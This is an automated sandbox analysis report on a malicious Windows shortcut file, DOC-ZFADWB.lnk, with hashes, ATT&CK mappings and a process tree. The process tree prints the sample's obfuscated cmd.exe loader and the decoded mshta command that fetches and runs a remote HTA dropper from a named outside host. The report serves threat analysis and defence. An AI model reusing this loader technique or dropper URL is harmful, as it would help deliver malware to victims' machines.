237aaaf4fe6d7f25cdccc4709bae87fa10ca2706185f06c5fbb62713f3d47554

Analysis

max time kernel
58s
max time network
56s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 16:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-ZFADWB.lnk
Size 2KB
Sample260817-tgjbbaej2w
SHA256 237aaaf4fe6d7f25cdccc4709bae87fa10ca2706185f06c5fbb62713f3d47554
MD5 e5ea8d3dccd1350cc20d6a3ac05d10d4
SHA1 2266dcfd9f107db47c07fafbcc137804d9b88b35
SHA512 e11c0ab0cc53aa78be09ae2432050830825a20ee9077f90d542282c76ad5cfe6bc1e2798fd245010649bf715512f8eb69db94b990ca4baebf2d226fbd2b9d403
TLSH
T1E04137807AED15D5F2FA8E32E8FE271085BBB9529E21D69E0590814D1832740E177B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5888	cmd.exe
3000	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5888 wrote to memory of 3000	5888	cmd.exe	90
PID 3000 wrote to memory of 2668	3000	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZFADWB.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5888
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set nsnbB=datlvmltdnsxawdat&set xU=tmpsknelolgdetmrstmp&set LZ=winjkqokajvuwin&set Prbi=sw8muv5&&set Fo=sy6sh3d&&set qC=jta0k&set gJR=tmpaecivhtdzkyzkwatmp&set Ppz=kg0stalbu&&set mkX=zr23t&&set QYdWr=dp4tb&set WhRuM=cfgewrznwlhqkodvsutuucfg&&set gai=ht@t@p@s://@ge@o-@pdf@fi@[email protected]@t/h/@estagio1.php?@r@=@3@3@106@1&&start /b !Prbi:~3,1!!Fo:~3,2!!qC:~1,2! !gai:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\System32\mshta.exe
    mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
    3⤵
    PID:2668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads